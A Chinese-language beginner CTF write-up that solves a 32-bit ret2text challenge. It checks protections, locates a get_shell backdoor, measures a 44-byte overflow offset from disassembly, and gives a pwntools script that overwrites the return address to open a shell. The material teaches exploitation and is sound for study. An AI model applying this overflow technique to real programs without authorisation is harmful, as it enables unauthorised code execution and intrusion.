从零解一道 ret2text 栈溢出入门实践
从零解一道 ret2text 栈溢出入门实践
零、我对pwn的粗略理解
从内存入手,利用危险函数制造溢出,用覆盖地址的方式来利用原程序调用一些额外的函数(改变原程序的目的),实现劫持
更一般地说,Pwn 是找到漏洞,让程序执行本不该执行的路径。
一、题目信息
file扫描,发现是32位
用 pwntools 检查保护
$ python3 -c "from pwn import *; print(ELF('./challenge', checksec=False).checksec())"
保护机制:
| 保护 | 状态 | 含义 |
|---|---|---|
| Stack | No canary found | 能溢出 |
| NX | NX enabled | 不能注 shellcode |
| PIE | No PIE (0x8048000) | 地址固定 |
| RELRO | Partial RELRO | 暂不涉及 |
无 canary,无 PIE,有后门函数-->ret2text 题
二、找后门
$ nm ./challenge | grep -E " [Tt] "
080491c6 T get_shell ← TIP
080491df T vulnerable
08049241 T main
$ objdump -d -M intel ./challenge | sed -n '/<get_shell>:/,/^$/p'
发现其直接调用system("/bin/sh")
正常情况下永远不使用,可"用于"劫持控制流
三、找漏洞点
反汇编漏洞函数:
$ objdump -d -M intel ./challenge | sed -n '/<vulnerable>:/,/^$/p'
从输出中发现:
8049209: push 0x40 ← 第三个参数:最多读 0x40 = 64 字节
804920b: lea eax,[ebp-0x28] ← 第二个参数:buf 的起始地址
804920e: push eax
804920f: push 0x0 ← 第一个参数:fd = 0(stdin)
8049211: call read@plt
read 要读 0x40 = 64 字节,但 buf 只有 0x28 = 40 字节
显然,写入长度大于缓冲区容量
四、栈布局与偏移计算
由lea eax,[ebp-0x28] 可知, buf 的起始地址是 ebp - 0x28,0x28转化为十进制40
因为是32位程序,所以还要算上save ebp占的4字节
总计44字节
五、编写 exp
from pwn import *
elf = ELF('./challenge', checksec=False)
io = process('./challenge')
# io = remote(host, port) # 打远程时换成这个
payload = b'A' * 44 # 填满 buf + saved ebp
payload += p32(elf.symbols['get_shell']) # 覆盖返回地址
io.recvuntil(b'please input your name:')
io.sendline(payload)
io.interactive()
| 语句 | 作用 |
|---|---|
b'A' * 44 |
用 A 填满 buf(40) 和 saved ebp(4) |
p32(addr) |
把 32 位地址打包成 4 字节小端序数据 |
io.sendline() |
发送 payload,触发溢出 |
io.interactive() |
接管 shell,可以敲命令 |
运行时,函数执行到 ret,会从栈顶弹出我们写入的地址,跳转到 get_shell,进而执行 system("/bin/sh")
六、总结
拿到一道 Pwn 题,先固定跑这四条命令:
file ./challenge
python3 -c "from pwn import *; print(ELF('./challenge', checksec=False).checksec())"
nm ./challenge | grep -E " [Tt] "
objdump -d -M intel ./challenge | sed -n '/<vulnerable>:/,/^$/p'
分别解决:
32 位or 64 位
保护类型
有无现成的后门函数
缓冲区大小及可写入的大小

浙公网安备 33010602011771号